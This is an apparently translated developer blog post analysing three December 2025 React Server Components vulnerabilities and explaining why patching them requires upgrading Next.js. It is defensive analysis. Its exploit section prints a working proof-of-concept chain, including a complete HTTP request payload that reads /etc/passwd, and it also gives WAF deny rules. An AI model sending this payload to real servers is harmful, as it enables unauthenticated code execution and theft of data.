Skip to content
yceffort
PostsSeriesTagsAboutπŸ§ͺ Research
KO

Tweaks

theme
accent palette
film grain
minimal mode
BACK TO INDEX
β—† ESSAY
--min read
--year
ENtranslated

mailMail icongithubtwitter
yceffort
β€’
Β© 2026
β€’
https://yceffort.kr
BACK TO INDEX
β—† ESSAY
avatar
yceffort
2025-12-12 Β· 19 min read
securitynextjsreact
19min read
2025year
ENtranslated

It's a React vulnerability, so why do I have to upgrade Next.js?

Table of Contents

  • Introduction
  • Overview of the Vulnerabilities
  • CVE-2025-55182: React2Shell
    • Vulnerability Overview
    • What is the Flight Protocol?
      • What is RPC?
      • The Role of the Flight Protocol
      • Why is the Flight Protocol needed?
      • Wire Format Structure
      • Special Syntax: the $ Prefix
      • Streaming Approach
      • The Chunk System
      • Server -> Client vs Client -> Server
    • Prototype Pollution
    • The Vulnerable Code
    • From Prototype Pollution to RCE
      • The Function Constructor = eval
      • How do you reach the Function constructor?
    • The Actual Exploit Chain
      • Step 1: Obtain the Function constructor
      • Step 2: Create a Thenable Object
      • Step 3: Manipulate Chunk State
      • Step 4: Execute the Code
    • An Actual Payload Example
    • Why is it possible without authentication?
    • Real-World Attacks
  • CVE-2025-55184: DoS (Denial of Service)
    • Vulnerability Overview
    • Triggering an Infinite Loop
    • Scope of Impact
    • The Incomplete Initial Patch
    • The Fix
  • CVE-2025-55183: Source Code Exposure
    • Vulnerability Overview
    • How does it get exposed?
    • What Gets Exposed and What Stays Safe
    • Scope of Impact
  • Reproducing It
  • The React Hidden Inside Next.js
    • The Secret of the App Router
    • Pages Router vs App Router
    • Why was it done this way?
  • The Traps Developers Fall Into
    • 1. npm audit doesn't tell you it's a React vulnerability
    • 2. The React version in package.json is ignored
    • 3. npm install react@latest doesn't take effect
    • 4. overrides/resolutions have no effect either
    • 5. React 18-only libraries can break
    • 6. The Limits of Security Scanners
  • The Correct Response
    • 1. Upgrade Next.js
    • 2. Use the Automated Tool
    • 3. Rotate Your Secrets
  • Lessons
    • 1. Be aware of a framework's hidden dependencies
    • 2. Interpret npm audit results properly
    • 3. Subscribe to framework security advisories
    • 4. Apply defense in depth
  • Closing Thoughts
  • References

Introduction

In December 2025, an urgent security patch was announced across the React and Next.js ecosystem. A remote code execution (RCE) vulnerability with a perfect CVSS score of 10.0 had been discovered. All an attacker had to do was send a single specially crafted HTTP request, and they could run arbitrary code on the server. It was, quite literally, a worst-case vulnerability.

While reading the security advisory, I noticed something odd. The vulnerability lived in React's react-server-dom-webpack package, yet the recommended fix was to upgrade Next.js.

# It's a React vulnerability...
npm install next@15.5.9  # ...but upgrade Next.js?

Naturally, this thought came to mind.

"Wait, can't I just run npm install react@latest then?"

To give away the conclusion first: no, you can't. And behind that "you can't" lies an interesting (and slightly bewildering) story about how Next.js handles React.

Overview of the Vulnerabilities

First, let's lay out the vulnerabilities that were announced this time.

CVENameSeverityTypeDisclosed
CVE-2025-55182React2ShellCVSS 10.0RCE (Remote Code Execution)Dec 3
CVE-2025-55184-CVSS 7.5DoS (Denial of Service)Dec 11
CVE-2025-55183-CVSS 5.3Source Code ExposureDec 11

All of them are problems that arise in the Flight Protocol of React Server Components. The affected packages are as follows.

  • react-server-dom-webpack (19.0.0 ~ 19.2.0)
  • react-server-dom-parcel (19.0.0 ~ 19.2.0)
  • react-server-dom-turbopack (19.0.0 ~ 19.2.0)

The frameworks that use these packages β€” Next.js, React Router, Waku, Parcel RSC, Vite RSC, and so on β€” are all affected.

CVE-2025-55182: React2Shell

Vulnerability Overview

A perfect CVSS 10.0. It's a remote code execution (RCE) vulnerability. An attacker can run arbitrary code on the server with a single HTTP request.

The scariest part is that no authentication is required. Even an empty project you just created with create-next-app is immediately vulnerable. The developer doesn't have to write a single line of code β€” the default setup alone is vulnerable.

What is the Flight Protocol?

To understand the vulnerability, you first need to know about React Server Components (RSC) and the Flight Protocol.

RSC is an architecture that renders components on the server and streams the results to the client. The protocol that exchanges data between server and client during this process is the "Flight Protocol." You can think of it as a kind of RPC (Remote Procedure Call) mechanism.

What is RPC?

RPC (Remote Procedure Call) is a protocol that lets you call a function on a remote server as if it were a local function. It abstracts away the complexity of network communication so that developers don't have to deal with HTTP requests and responses directly.

// The usual HTTP request approach
const response = await fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({name: 'John Doe', age: 30}),
})
const user = await response.json()

// The RPC approach β€” as if calling a local function
const user = await createUser({name: 'John Doe', age: 30})

The heart of RPC is serialization and deserialization.

Representative RPC protocols include gRPC, JSON-RPC, and XML-RPC. React's Flight Protocol is also a kind of RPC, but it's specialized for serializing and deserializing the React component tree.

The Role of the Flight Protocol

The Flight Protocol plays two roles.

1. Server -> Client: Sending RSC render results

It streams the render result of server components (the React element tree) to the client. Rather than HTML, it sends a form that React can understand, so that the client can perform reconciliation (merge it with the existing tree).

2. Client -> Server: Server Action invocation

When the client calls a Server Function (Server Action), it serializes the function arguments and sends them to the server. The server deserializes them and executes the actual function.

This vulnerability occurred in the Client -> Server direction β€” that is, during the deserialization process when a Server Action is invoked.

Why is the Flight Protocol needed?

You can't transmit a React component tree with ordinary JSON. JSON can't represent functions, undefined, Date objects, circular references, and so on. For example:

// How would you send this over JSON?
const element = {
  type: MyComponent, // a function!
  props: {
    onClick: handleClick, // a function!
    date: new Date(), // a Date object!
  },
}

JSON.stringify(element) // functions can't be serialized

The Flight Protocol is a custom serialization format that the React team created to solve this problem.

Wire Format Structure

The Flight Protocol uses a simple row-based format. Each line contains one JSON blob, tagged with an ID.

M1:{"id":"./src/ClientComponent.client.js","chunks":["client1"],"name":""}
S2:"react.suspense"
J0:["$","@1",null,{"children":["$","span",null,{"children":"Hello from server"}]}]
J3:["$","ul",null,{"children":[["$","li",null,{"children":"Item 1"}]]}]

The prefix on each line carries a different meaning:

PrefixMeaningDescription
MModuleModule reference to a client component (file location, bundle chunk info)
JJSONThe actual React element tree
SSymbolAn internal React symbol (e.g., react.suspense)
IValueA plain value
FFunctionA Server Function reference

Special Syntax: the $ Prefix

The Flight Protocol encodes values that can't be represented in JSON using the $ prefix.

// An actual Flight payload example
;['$', '@1', null, {children: ['$', 'span', null, {children: 'Hello'}]}]
SyntaxMeaningExample
$React element["$", "div", null, {...}]
@1Module reference (refers to line M1)Client component
$L1Lazy componentA component not yet loaded
$1Chunk referenceChunk 1, defined earlier
$@0Raw chunk referenceChunk 0, unresolved
$B0Blob referenceBinary data

Streaming Approach

The strength of the Flight Protocol is streaming. Rather than waiting for the server to finish the entire tree, it sends chunks as soon as each part is ready.

// 1. The layout arrives first
J0: ['$', 'main', null, {children: ['$L1']}] // $L1 is still loading

// 2. The Suspense fallback is shown

// 3. The content arrives later
J1: ['$', 'article', null, {children: 'Loading complete!'}]

// 4. $L1 is replaced by J1, and the screen updates

The client can read line by line and process each immediately. When it encounters a Suspense boundary, it shows the fallback, and later replaces it once the data arrives.

The Chunk System

Internally, RSC manages data through objects called chunks. Each chunk carries a status.

// A chunk's internal structure (simplified)
const chunk = {
  status: 'pending' | 'resolved_model' | 'resolved_module' | 'rejected',
  value: any, // the actual data
  reason: any, // error info
  _response: Response, // reference to the response object
}

Because a chunk behaves like a Promise, React calls the then method to obtain its value. This is precisely where the vulnerability lives.

Server -> Client vs Client -> Server

The Flight Protocol works in both directions.

Server -> Client (RSC Payload)

  • Sends server component render results to the client
  • In the form of a React element tree, not HTML

Client -> Server (Server Action)

  • Sends arguments when the client calls a Server Function
  • Sent in multipart/form-data format
  • The vulnerability occurs in this direction
POST /api HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Next-Action: abc123

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"name": "John Doe", "age": 30}
------WebKitFormBoundary--

When the server receives this request, it deserializes it with the Flight Protocol and passes it to the Server Function. The problem is that this deserialization process didn't validate dangerous keys like __proto__.

Prototype Pollution

In JavaScript, every object inherits the properties of parent objects through the prototype chain. You can access this chain via __proto__.

const obj = {}
console.log(obj.toString) // [Function: toString]
// obj has no toString of its own, but inherits it from Object.prototype

Prototype pollution is an attack that manipulates this chain to change the behavior of every object.

// A normal object
const obj = {}
console.log(obj.isAdmin) // undefined

// Prototype pollution
obj.__proto__.isAdmin = true

// Now every new object has isAdmin
const another = {}
console.log(another.isAdmin) // true

The Vulnerable Code

The problem arose in the Flight Protocol's deserialization code. It used keys sent by the client as object properties without validation.

react-server-dom-webpack.js
// Before the patch (vulnerable code)
return moduleExports[metadata[NAME]]

// After the patch (fixed code)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
  return moduleExports[metadata[NAME]]
}

Because there was no hasOwnProperty check, an attacker who put "__proto__" into metadata[NAME] could reach into the prototype chain.

From Prototype Pollution to RCE

Prototype pollution alone doesn't execute code. Attackers chained it into reaching the Function constructor.

The Function Constructor = eval

In JavaScript, the Function constructor can create a function from a string.

const fn = new Function('return 1 + 1')
fn() // 2

At a glance this looks harmless, but it's effectively the same as eval. Let's look at why.

// eval: executes a string as code
eval('console.log("hello")') // "hello"

// Function: builds a function from a string and executes it
new Function('console.log("hello")')() // "hello"

// Both can execute arbitrary code
eval('1 + 2') // 3
new Function('return 1 + 2')() // 3

The difference is that eval executes in the current scope while Function executes in the global scope. But from a security standpoint, both are equally dangerous in that they enable arbitrary code execution.

// Running a system command with eval
eval('process.mainModule.require("child_process").execSync("id").toString()')

// Running a system command with Function β€” behaves the same
new Function(
  'return process.mainModule.require("child_process").execSync("id").toString()',
)()

eval is widely known to be dangerous, so it's blocked by CSP (Content Security Policy) or flagged by linters. But the Function constructor is relatively less known, so defenses against it are often lax.

From the attacker's perspective, if they can just get access to the Function constructor, they can run whatever code they want on the server.

const evil = new Function(
  'process.mainModule.require("child_process").execSync("cat /etc/passwd")',
)
evil() // stealing the contents of the server's /etc/passwd file

How do you reach the Function constructor?

The question is how you get access to the Function constructor. Calling Function directly is of course blocked. But you can get around it through the prototype chain.

// Any object can reach the constructor that created it via constructor
const obj = {}
obj.constructor // [Function: Object]

// Object's constructor is Function
obj.constructor.constructor // [Function: Function]

// It's also reachable through the prototype chain
obj.__proto__.constructor.constructor // [Function: Function]

The attacker combined this chain with the Flight Protocol's special syntax.

The Actual Exploit Chain

Let's analyze the exploit chain based on the msanft/CVE-2025-55182 PoC.

Step 1: Obtain the Function constructor

exploit.py
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

The $1:__proto__:constructor:constructor syntax means "access __proto__.constructor.constructor of chunk 1" in the Flight Protocol. Doing this yields the Function constructor.

Step 2: Create a Thenable Object

exploit.py
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

In JavaScript, an object with a then property is treated as a "thenable." That means you can call .then() on it like a Promise. If you set then to the Function constructor here, then later when .then(code) is called on this object, Function(code) gets executed.

Step 3: Manipulate Chunk State

The Flight Protocol processes data in chunk units. Each chunk carries a status.

// Chunk statuses
const PENDING = 'pending'
const RESOLVED_MODEL = 'resolved_model'
const RESOLVED_MODULE = 'resolved_module'
// ...

The attacker uses the $@ syntax (raw chunk reference) to directly manipulate a chunk's internal state.

crafted_chunk = {
    "then": "$1:__proto__:then",        # set then to Function
    "status": "resolved_model",          # force status to resolved
    "reason": -1,
    "value": '{"then": "$B0"}',         # Blob reference
    "_response": {
        "_prefix": "/* code to execute */",
        "_formData": {"get": "$1:constructor:constructor"}
    }
}

Step 4: Execute the Code

When the initializeModelChunk function is called, the crafted chunk's then is set to the Function constructor, and the code in the _prefix field is executed.

// The actual payload that goes into the _prefix field
var res = process.mainModule
  .require('child_process')
  .execSync('id', {timeout: 5000})
  .toString()
  .trim()

throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`})

This code:

  1. Loads the child_process module
  2. Runs the id command
  3. Wraps the result in the error's digest field and throws it

Checking the digest field of the error response reveals the command's execution result.

An Actual Payload Example

POST / HTTP/1.1
Host: vulnerable-app.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('cat /etc/passwd')","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary
Content-Disposition: form-data; name="1"

$@0
------WebKitFormBoundary--

All you need is the Next-Action header. There doesn't even have to be an actual Server Action defined. The attack already succeeds during the Flight Protocol deserialization process.

Why is it possible without authentication?

In a typical web application, the request handling flow looks like this.

But the Flight Protocol's deserialization happens before the authentication check.

The attack executes before it ever reaches the authentication layer. This is one of the reasons this vulnerability received a CVSS 10.0.

Real-World Attacks

This vulnerability is already being exploited in the wild. Wiz Research, Amazon Threat Intelligence, Datadog, Palo Alto Unit 42, and others have observed attacks.

Observed attack types:

  • Stealing .env files
  • Deploying Cobalt Strike beacons
  • Installing Sliver payloads
  • Installing cryptocurrency miners
  • Installing backdoors

In particular, activity has reportedly been observed from an APT group named CL-STA-1015, believed to be linked to the Chinese government. They are known to install the SNOWLIGHT and VShell trojans.

CVE-2025-55184: DoS (Denial of Service)

Just a few days after the React2Shell (CVE-2025-55182) vulnerability was disclosed, another vulnerability was found in the same Flight Protocol. This time it isn't an RCE, but a DoS vulnerability that can bring down an entire service.

Vulnerability Overview

CVSS 7.5. It isn't as severe as the RCE, but it's a vulnerability that can paralyze an entire service.

Triggering an Infinite Loop

A maliciously crafted HTTP request triggers an infinite loop during the Flight Protocol deserialization process.

Because Node.js is single-threaded, once an infinite loop occurs it can no longer process other requests. As a result, the server comes to a complete halt.

Scope of Impact

  • Apps with a Server Function: vulnerable, of course
  • Apps that support RSC even without a Server Function: vulnerable
  • Next.js 13.3 and above: vulnerable (DoS only)
  • Next.js 15.0 and above: vulnerable (DoS + source exposure)

The Incomplete Initial Patch

The first patch that was released was incomplete. It missed some cases, and a patch that fixed those was re-released as CVE-2025-67779. So you need to upgrade again to the latest patched version.

The Fix

You can see the fix in PR #35351.

ReactFlightClient.js
// Before the patch
while (chunk.status === 'pending') {
  const inspectedValue = chunk.value
  if (inspectedValue === chunk) {
    // only checks self-reference
    break
  }
  // ...
}

// After the patch
let cycleProtection = 0
while (chunk.status === 'pending') {
  cycleProtection++
  const inspectedValue = chunk.value
  if (inspectedValue === chunk || cycleProtection > 1000) {
    break
  }
  // ...
}

The original code only checked for the self-referencing case with inspectedValue === chunk. It can catch a direct cycle like A -> A, but not an indirect cycle like A -> B -> A. So a counter was added to force a break once it exceeds 1000 iterations.

To detect circular references perfectly you'd have to track visited nodes in a Set, which carries a performance overhead. The 1000-iteration limit is a number that normal usage will never reach, so it's a simple yet reliable approach.

CVE-2025-55183: Source Code Exposure

Vulnerability Overview

CVSS 5.3. A Server Function's source code can be included in the response and exposed.

How does it get exposed?

When an attacker sends a crafted HTTP request, a Server Function stringifies another Server Function's source code and includes it in the response.

// The original Server Function
'use server'

export async function serverFunction(name) {
  // a secret hardcoded in the source code
  const conn = db.createConnection('SECRET_API_KEY')

  // using a string template
  return {
    id: user.id,
    message: `Hello, ${name}!`, // this is the problem
  }
}

When the ${name} part gets stringified, if the value passed in is a function, that function's source code is converted into a string.

// The attack response
{
  "id": "tva1sfodwq",
  "message": "Hello, async function(a){
    console.log(\"serverFunction\");
    let b=i.createConnection(\"SECRET_API_KEY\");
    return{id:(await b.createUser(a)).id,message:`Hello, ${a}!`}
  }!"
}

What Gets Exposed and What Stays Safe

Information TypeExposed?
API keys and passwords hardcoded in source codeExposed 🚨
A Server Function's business logicExposed
Inlined constant valuesExposed
process.env.SECRET environment variablesSafe βœ…
Values injected at runtimeSafe βœ…

Values that use environment variables are not exposed. Because environment variables are evaluated at runtime, only the variable reference remains in the compiled source code.

// A safe pattern
const conn = db.createConnection(process.env.DATABASE_URL)
// After compilation: process.env.DATABASE_URL (the value itself is not exposed)

// A dangerous pattern
const conn = db.createConnection('postgresql://user:password@localhost/db')
// After compilation: 'postgresql://user:password@localhost/db' (exposed as-is)

Scope of Impact

This vulnerability only affects Next.js 15.0 and above. It doesn't occur in 14.x.

Next.js VersionDoS (CVE-2025-55184)Source Exposure (CVE-2025-55183)
13.3 ~ 14.xVulnerableSafe
15.0 and aboveVulnerableVulnerable

Reproducing It

If you want to check it yourself, you can spin up a vulnerable environment with Docker from the l4rm4nd/CVE-2025-55182 repository.

# Run the vulnerable Next.js app
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest

# Check the vulnerability with the AssetNote scanner
python3 scanner.py -u http://127.0.0.1:3000
# [VULNERABLE] Status: 303

# Check with a Nuclei template
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

Seeing the commands actually execute is genuinely chilling. Never test this on an environment exposed to the internet.

The React Hidden Inside Next.js

Now let's return to the key question. It's a React vulnerability, so why do you have to upgrade Next.js?

The Secret of the App Router

When the App Router was introduced in Next.js 13, Next.js began handling React in a special way.

packages/next/src/compiled/
β”œβ”€β”€ react/
β”œβ”€β”€ react-dom/
β”œβ”€β”€ react-server-dom-webpack/      <- the vulnerable package
β”œβ”€β”€ react-server-dom-turbopack/
└── react-server-dom-parcel/

Rather than pulling packages like react-server-dom-webpack from npm, Next.js bundles them itself and includes them in the dist/compiled/ directory. And when you use the App Router, this internal version is used.

// Next.js webpack config (webpack-config.ts)
// https://github.com/vercel/next.js/blob/b17b31f16eb0a761ecdc0b821234d3cbe24f499f/packages/next/src/build/webpack-config.ts#L127-L135
browserNonTranspileModules: [
  /[\/]next[\/]dist[\/]compiled[\/](react|react-dom|react-server-dom-webpack)/,
]

In other words, no matter which React version you install in package.json, the App Router uses the React that Next.js bundled.

Pages Router vs App Router

The interesting part is that the Pages Router and App Router use different React versions.

RouterReact Version
Pages RouterThe version installed in package.json
App RouterThe React Canary bundled inside Next.js

If you use both routers in the same project, you may actually be running different React versions.

Why was it done this way?

It's the React team's official recommendation. React Server Components were used in Next.js before React 19 was officially released. To make this possible, the React team created a "Canary" channel and recommended that frameworks bundle and use it.

"React Server Components are ready to be adopted by frameworks. However, until the next major React release, the only way for a framework to adopt them is to ship a pinned Canary version of React." β€” React Canaries blog

The advantages of this approach are clear.

  • New features can be offered without waiting for an official React release
  • Next.js can manage the React version on its own release schedule
  • Bug fixes can be applied quickly

But this security incident revealed the hidden trap in this structure.

The Traps Developers Fall Into

1. npm audit doesn't tell you it's a React vulnerability

$ npm audit
# Shown only as a Next.js vulnerability
# There's no way to tell the problem is in React code

npm audit does detect the vulnerability. But it only shows up as a vulnerability in the Next.js package β€” it doesn't tell you the actual problematic code is React's Flight Protocol. That's because Next.js bundles React internally.

"Both Vite and Next.js simply bundle their dependencies directly in the package instead of relying on the npm node_modules mechanism."

2. The React version in package.json is ignored

This is a problem a developer found in GitHub Issue #86930.

package.json
{
  "dependencies": {
    "react": "19.1.2" // I installed a safe version, but...
  }
}

Checking with React DevTools:

  • Pages Router: 19.1.2 (the package.json version)
  • App Router: 19.2.0-canary (the Next.js internal version)

The developer thinks "I'm using a safe version," but in reality a vulnerable canary version is being used.

3. npm install react@latest doesn't take effect

npm install react@19.2.1 react-dom@19.2.1
# The App Router still uses the Next.js internal bundle -> the vulnerability remains

Even if you update React to the latest version, what the App Router uses is the version bundled inside Next.js. The external React version is completely ignored.

4. overrides/resolutions have no effect either

With npm's overrides or yarn's resolutions, you can force a dependency version. But this doesn't help either.

package.json
// Even this doesn't work
{
  "overrides": {
    "react": "19.2.1"
  }
}

Next.js doesn't go through npm's dependency resolution β€” it directly imports pre-compiled files. There's no room for overrides to intervene.

5. React 18-only libraries can break

You specified React 18 in package.json, so you installed a library that only supports React 18. But in the App Router, React 19 canary is running.

package.json
{
  "dependencies": {
    "react": "18.2.0",
    "some-library": "^1.0.0" // peerDependencies: react ^18.0.0
  }
}

Problems that can arise in this situation:

  • A library that uses an API removed or changed in React 19 throws a runtime error
  • No peerDependencies warning appears (because it's correct according to package.json), yet it's actually incompatible
  • The developer falls into confusion, wondering "my project is React 18, so why doesn't it work?"

If something works fine in the Pages Router but behaves strangely only in the App Router, you should suspect this version mismatch.

6. The Limits of Security Scanners

ToolDetection Method
npm auditDetected only as a Next.js CVE
yarn auditDetected only as a Next.js CVE
Snyk, DependabotDetected only as a Next.js CVE
npx fix-react2shell-nextDetectable with the official Vercel tool

Existing security tools do detect the vulnerability, but it's shown only as a Next.js vulnerability. There's no way to tell that the problem is in React code.

The Correct Response

1. Upgrade Next.js

This is the only solution. You need to upgrade to the patched version that matches your Next.js version.

# Choose the one that matches your Next.js version
npm install next@14.2.35   # 14.x
npm install next@15.0.7    # 15.0.x
npm install next@15.1.11   # 15.1.x
npm install next@15.2.8    # 15.2.x
npm install next@15.3.8    # 15.3.x
npm install next@15.4.10   # 15.4.x
npm install next@15.5.9    # 15.5.x
npm install next@16.0.10   # 16.0.x

2. Use the Automated Tool

You can also use the automatic patching tool provided by Vercel.

npx fix-react2shell-next

This tool detects your current Next.js version and upgrades you to the appropriate patched version.

3. Rotate Your Secrets

If your server was exposed to the internet in an unpatched state before December 4, you need to rotate all of your secrets. There's a chance you've already been attacked.

  • API keys
  • Database passwords
  • JWT secrets
  • Encryption keys
  • Other sensitive environment variables

Lessons

There are a few lessons to take away from this incident.

1. Be aware of a framework's hidden dependencies

Not just Next.js β€” many frameworks like Vite and Remix bundle dependencies internally. You shouldn't conclude "our app is safe" from package.json alone.

2. Interpret npm audit results properly

npm audit detects vulnerabilities, but for bundled dependencies it doesn't tell you exactly where the actual problem lies. If a Next.js CVE shows up, you should check the advisory to see whether it's a problem in Next.js's own code or in the bundled React.

3. Subscribe to framework security advisories

If you were only watching React's security advisories, you could have missed this vulnerability. If you use Next.js, you should subscribe to Next.js security advisories as well.

  • Next.js security advisories
  • React blog
  • Vercel security board

4. Apply defense in depth

This vulnerability was exploitable without authentication. Had there been an additional defense layer such as a WAF (Web Application Firewall), the damage could have been reduced.

# Example WAF rule: block requests containing __proto__
SecRule REQUEST_BODY "__proto__" "id:1001,deny,status:403"
SecRule REQUEST_BODY "constructor:constructor" "id:1002,deny,status:403"

Of course, this is only a stopgap β€” the fundamental fix is to patch.

Closing Thoughts

Honestly, going through this incident left me a little bitter. Next.js bundling a React canary was a reasonable choice made to deliver new features quickly. But in the process, it became hard for developers to know which version of the code is actually running in their app.

I already knew that react: "19.1.2" might be written in package.json while a different version was actually running. But I hadn't realized this could turn into a security problem. Even when npm audit detects the vulnerability, it's shown only as a Next.js problem, which makes it hard to recognize that the issue is in React code. From a developer experience (DX) standpoint, this is clearly a problem.

Of course, this isn't a problem unique to Next.js. As the entire modern frontend ecosystem goes through complex bundling and compilation, it's getting harder and harder to grasp "what's actually inside my app." This incident feels like a reminder of that problem once more.

For now, let's patch. And later, when there's time, it might be worth taking a look at what the frameworks we use are doing internally.

References

  • Next.js CVE-2025-66478 official advisory
  • Next.js security update December 11, 2025
  • React official blog - Critical Security Vulnerability
  • React official blog - DoS and Source Code Exposure
  • Datadog Security Labs analysis
  • JFrog analysis
  • Wiz blog
  • l4rm4nd/CVE-2025-55182 PoC repository
  • msanft/CVE-2025-55182 PoC
  • GitHub Issue #86930 - React version mismatch problem
  • React Canaries blog

Related posts

  • β—† Directive Deep Dive
    #react#nextjs#frontend

    'use cache' Directive Deep Dive: To the End of Cache Boundaries

    Build-time transformations, cache key serialization, ResumeDataCache, cacheHandler, and Cache Components - everything created by a single 'use cache' line

    2026-05-01Β·40 min read
  • β—† Directive Deep Dive
    #react#nextjs#frontend

    'use client' Directive Deep Dive: To the Edge of Client Boundaries

    Module boundaries created by a single line of 'use client', build-time transformations, Flight serialization, and performance implications

    2026-05-01Β·33 min read
  • β—† The State of Next.js
    #nextjs#react#vercel

    Why We Still Use Next.js

    Switching costs stronger than technical superiority

    2026-03-23Β·19 min read
  • β—† The State of Next.js
    #nextjs#web-performance#react

    Is Next.js Fast Enough?

    The uncomfortable truth benchmarks reveal

    2026-03-21Β·23 min read

Enjoyed this post? Subscribe via RSS to get new posts.

Subscribe via RSS β†’

yceffort β€” frontend engineer. For talks, consulting, or writing inquiries, reach out here.

← Back to the blogν•œκ΅­μ–΄λ‘œ 읽기 β†’